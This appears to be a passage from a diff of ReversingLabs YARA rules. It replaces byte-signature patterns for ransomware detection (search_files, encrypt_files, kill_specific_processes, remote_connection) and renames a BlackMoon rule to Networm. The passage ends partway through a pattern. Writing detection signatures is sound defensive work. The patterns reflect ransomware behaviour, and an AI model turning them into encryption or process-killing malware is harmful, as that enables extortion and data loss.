-            28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 6A 13 04 20 ?? 07 00 00 28 60 00 00
-            06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A [0-2] 13 05 20 ?? 07 00 00 28 60 00 00 06 13
-            0B 73 ?? 00 00 0A 0C 20 ?? 07 00 00 28 60 00 00 06 13 0B 00 0E 05 20 ?? 07 00 00 28 60
-            00 00 06 59 13 0C 11 0C 45 02 00 00 00 02 00 00 00 ?? 00 00 00 2B ?? 00 20 ?? 07 00 00
-            28 60 00 00 06 13 0B 02 7B 1C 00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00
-            28 60 00 00 06 73 ?? 00 00 0A 0B 2B ?? 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C
-            00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A
-            0B 00 2B 62 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1B 00 00 04 06 20 ?? 07 00 00 28
-            60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 6F ?? 00 00 0A [0-2] 0D 20 ?? 07 00 00 28 60
+		$encrypt_files_1 = {
+            81 EC ?? ?? ?? ?? 83 24 24 ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 44 24
+            ?? 50 E8 ?? ?? ?? ?? 8D 04 24 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 8B 1D ??
+            ?? ?? ?? 55 56 57 8B 3D ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ?? ??
+            ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 8D 84 24 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 50 89 74 24 ?? FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84
+            74 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8
+            ?? ?? ?? ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ??
+            50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ??
+            50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ??
+            50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF B4 24
+            ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ??
+            50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
+            50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D
+            84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50
+            55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 E8
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2
         }
-		$encrypt_routine_2 = {
-            00 00 06 13 0B 07 06 20 ?? 07 00 00 28 60 00 00 06 09 6F ?? 00 00 0A 00 20 ?? 07 00 00
-            28 60 00 00 06 13 0B 11 04 09 6A D6 13 04 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 04
-            11 05 FE 04 13 0D 11 0D 2D 86 ?? 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 4F 00 00 06 26
-            20 ?? 07 00 00 28 60 00 00 06 13 0B 07 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06
-            13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C
-            00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28
-            60 00 00 06 FE 01 13 0D 11 0D 2C 32 ?? 45 01 00 00 00 F6 FF FF FF 20 ?? 07 00 00 28 60
-            00 00 06 13 0B 03 73 ?? 00 00 0A 13 06 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 06 6F ??
-            00 00 0A 00 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28 60 00 00 06
-            FE 01 13 0D 11 0D 2C ?? [0-20] 20 ?? 07 00 00 28 60 00 00 06 13 0B 03 73 ?? 00 00 0A 13
-            07 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 07 6F ?? 00 00 0A 00 00 20 ?? ?? 00 00 28 60
-            00 00 06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? ?? 00 00 28 60 00 00 06 13 0B
-            02 7B 1C 00 00 04 6F ?? 00 00 0A 00 DD 3B 01 00 00 11 0A 2B 0D 11 0A 20 ?? ?? 00 00 28
+		$search_files_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8B F8 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6
+            8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 85 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A
+            ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89
+            04 B7 51 50 FF 15 ?? ?? ?? ?? 46 FE 85 ?? ?? ?? ?? D1 EB 75 ?? EB ?? 68 ?? ?? ?? ??
+            FF 34 B7 FF 15 ?? ?? ?? ?? 85 C0 74
         }
-		$encrypt_routine_3 = {
-            60 00 00 06 58 20 ?? 08 00 00 28 60 00 00 06 13 0A 45 26 00 00 00 00 00 00 00 ?? FC FF
-            FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? ?? FF FF
-            ?? FD FF FF ?? FD FF FF ?? FD FF FF 00 00 00 00 ?? FD FF FF ?? FD FF FF ?? FD FF FF ??
-            FD FF FF ?? FD FF FF ?? FD FF FF ?? ?? FF FF ?? FD FF FF ?? FD FF FF ?? FD FF FF ?? ??
-            FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF
-            FF ?? FE FF FF E8 FE FF FF FC FE FF FF 10 FF FF FF 11 FF FF FF 29 FF FF FF 41 FF FF FF
-            DE 6D 11 0B 13 0A 11 09 20 ?? 08 00 00 28 60 00 00 06 30 16 ?? 45 01 00 00 00 F6 FF FF
-            FF 20 ?? 08 00 00 28 60 00 00 06 2B 02 11 09 45 02 00 00 00 00 00 00 00 11 FF FF FF DE
-            34 75 4B 00 00 01 14 FE 03 11 09 20 ?? 08 00 00 28 60 00 00 06 FE 03 5F 11 0A 20 ?? 08
-            00 00 28 60 00 00 06 FE 01 5F FE 11 74 4B 00 00 01 28 57 00 00 0A DE 93 20 ?? 08 00 00
-            28 60 00 00 06 28 ?? 00 00 0A
+		$encrypt_files_2 = {
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 24 24 ?? 53 55 56 57 E8 ?? ?? ?? ?? 8B D0 8D 4C 24
+            ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ??
+            ?? 8B 35 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 7C 24 ??
+            FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 7C ?? ?? ?? ?? 8D 44
+            24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F8 33 D2 F6 44
+            24 ?? ?? 8B CF 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
+            ?? ?? ?? ?? 50 FF D3 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            42 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0
+            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24
+            ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 51 6A ?? 5A 8B
+            CF E8 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ??
+            ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ??
+            ?? ?? 50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 7C 24 ?? 59 8D 44 24 ??
+            50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2
+        }
+		$kill_specific_processes_2 = {
+            81 EC ?? ?? ?? ?? 56 57 6A ?? 5E 56 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89
+            74 24 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 53 55 BE ?? ?? ??
+            ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8B E8 33 D2 85 ED 7E ?? 0F BE 0C 1A E8 ?? ?? ?? ?? 88 04 1A 42 3B D5 7C ?? FF 36
+            53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 85 C0 74 ?? 33 DB
+            53 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? FF B4
+            24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D
+            44 24 ?? 50 53 53 68 ?? ?? ?? ?? 53 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ??
+            ?? 8D 84 24 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ??
+            ?? ?? ?? 5D 5B 5F 5E 81 C4 ?? ?? ?? ?? C2
+        }
+		$kill_specific_processes_1 = {
+            81 EC ?? ?? ?? ?? 55 56 57 6A ?? 5E 56 33 ED 8D 44 24 ?? 55 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 FF ?? 0F 84 ?? ?? ?? ??
+            53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 8B 5C
+            24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24 ?? 85 C0 7E ?? 8B F8
+            0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24 ?? ?? ?? ?? FF 34 B0
+            55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ?? ?? ?? 7C ?? 8B 7C 24
+            ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 50 FF
+            15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4
+            ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ??
+            ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55 8D 84 24 ?? ?? ?? ??
+            50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
+            ?? ?? 57 FF 15 ?? ?? ?? ?? 5B 5F 5E 5D 81 C4 ?? ?? ?? ?? C2
+        }
+		$encrypt_files_3 = {
+            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 74 ?? ??
+            ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8 ?? ?? ??
+            ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF
+            D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF
+            D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF 74 24 ?? 8D 84 24 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 84 24
+            ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50 55 FF 15
+        }
+		$search_files_2 = {
+            53 55 56 57 8B 3D ?? ?? ?? ?? 6A ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B E8 FF 15 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 8D 84 24 ?? ??
+            ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 84 24 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? C6 84
+            24 ?? ?? ?? ?? ?? FF D7 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 B5 ?? 51 50
+            FF 15 ?? ?? ?? ?? 46 FE 84 24 ?? ?? ?? ?? D1 EB 75 ?? 33 FF 85 F6 7E ?? 8B 9C 24 ??
+            ?? ?? ?? 8D 44 24 ?? 2B E8 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8C
+            24 ?? ?? ?? ?? 89 48 ?? 8D 0C BD ?? ?? ?? ?? 03 CD 89 58 ?? 8B 4C 0C ?? 89 08 33 C9
+            51 51 50 68 ?? ?? ?? ?? 51 51 FF 15 ?? ?? ?? ?? 89 44 BC ?? 47 3B FE 7C ?? 6A ?? 6A
+            ?? 8D 44 24 ?? 50 56 FF 15
+        }
+		$kill_specific_processes_3 = {
+            E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 FF
+            ?? 0F 84 ?? ?? ?? ?? 53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57
+            E8 ?? ?? ?? ?? 8B 5C 24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24
+            ?? 85 C0 7E ?? 8B F8 0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24
+            ?? ?? ?? ?? FF 34 B0 55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ??
+            ?? ?? 7C ?? 8B 7C 24 ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 55 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF
+            15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24
+            ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55
+            8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($encrypt_routine_1 and $encrypt_routine_2 and $encrypt_routine_3)
+		uint16(0)==0x5A4D and (($search_files_1 and $encrypt_files_1 and $kill_specific_processes_1) or ($search_files_1 and $encrypt_files_2 and $kill_specific_processes_2) or ($search_files_2 and $encrypt_files_3 and $kill_specific_processes_3))
 }
-rule REVERSINGLABS_Win32_Ransomware_Blackmoon : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Networm : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects BlackMoon ransomware."
+		description = "Yara rule that detects Networm ransomware."
 		author = "ReversingLabs"
-		id = "95ebb6c4-b0c9-5f9a-8424-a2f4d33953eb"
-		date = "2020-11-11"
-		modified = "2020-11-11"
+		id = "3b17b97d-c882-5f65-8b89-847e2300873c"
+		date = "2021-07-05"
+		modified = "2021-07-05"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BlackMoon.yara#L1-L70"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "428409096a8637978bf2a1efb3238e4ba87715a909693b0cd26c0f689d567a09"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Networm.yara#L1-L103"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ff9bcb9868522f9d4abf2ab9f94d5b7c9b009e5c6d0cf832c7d052f18e048b31"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26493,66 +27981,94 @@ rule REVERSINGLABS_Win32_Ransomware_Blackmoon : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "BlackMoon"
+		tc_detection_name = "Networm"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files = {
-            81 EC ?? ?? ?? ?? 53 8B 9C 24 ?? ?? ?? ?? 55 56 8B 33 57 8B BC 24 ?? ?? ?? ?? 33 ED
-            85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 76 ?? 85 F6 74 ?? 83 FE ?? 74 ?? 56 FF
-            15 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 89 33 74 ?? 8B 84
-            24 ?? ?? ?? ?? 85 C0 74 ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 74 ?? EB ?? 8B 94 24 ?? ??
-            ?? ?? 8B 44 24 ?? 85 C2 74 ?? BD ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 74 ?? 85 ED 75 ??
-            8B 84 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 C0 8D 44 24 ?? 50 56 74 ?? FF D7 85 C0 74
-            ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 75 ?? 8D 54 24 ?? 52 56 FF D7 85 C0 75 ?? 5F 5E 5D
-            33 C0 5B 81 C4 ?? ?? ?? ?? C3 FF D7 85 C0 74 ?? 8B 9C 24 ?? ?? ?? ?? 85 5C 24 ?? 75
-            ?? 8D 4C 24 ?? 51 56 FF D7 85 C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 8D 54 24 ??
-            52 E8 ?? ?? ?? ?? 40 50 E8 ?? ?? ?? ?? 8B D0 8D 7C 24 ?? 83 C9 ?? 33 C0 83 C4 ?? F2
-            AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 ?? F3 A5 8B C8 8B C2 83 E1 ?? F3 A4 5F 5E 5D
-            5B 81 C4 ?? ?? ?? ?? C3
+            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? 8B 7D ?? 33 DB
+            6A ?? 59 33 C0 89 5D ?? 89 4D ?? 66 89 45 ?? 89 5D ?? 89 5D ?? 89 4D ?? 66 89 45 ??
+            68 ?? ?? ?? ?? 8B D7 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? 3B C8
+            74 ?? 88 9D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ??
+            8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D
+            4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D
+            ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? F6 85
+            ?? ?? ?? ?? ?? 8D 45 ?? 74 ?? 6A ?? 50 8B CE E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ??
+            ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 FF 15 ?? ??
+            ?? ?? 85 C0 74 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ??
+            ?? ?? 8B 1D ?? ?? ?? ?? FF D3 8B F0 83 FE ?? 75 ?? 83 7F ?? ?? 8B C7 72 ?? 8B 07 68
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 7F ?? ?? 72 ?? 8B 3F 57 FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? FF D3 8B F0 EB ?? FF 15 ?? ?? ?? ?? EB ?? 33 F6 8D 4D ?? E8 ?? ??
+            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2
+        }
+		$remote_connection_p1 = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1
+            FF 15 ?? ?? ?? ?? 33 C0 50 50 89 45 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 57 56
+            FF 15 ?? ?? ?? ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB
+            ?? 81 3B ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? EB ?? 81 3B ?? ?? ??
+            ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ?? ?? 8D 75 ?? 8B
+            45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E 33 CD 5B E8 ??
+            ?? ?? ?? C9 C3
+        }
+		$remote_connection_p2 = {
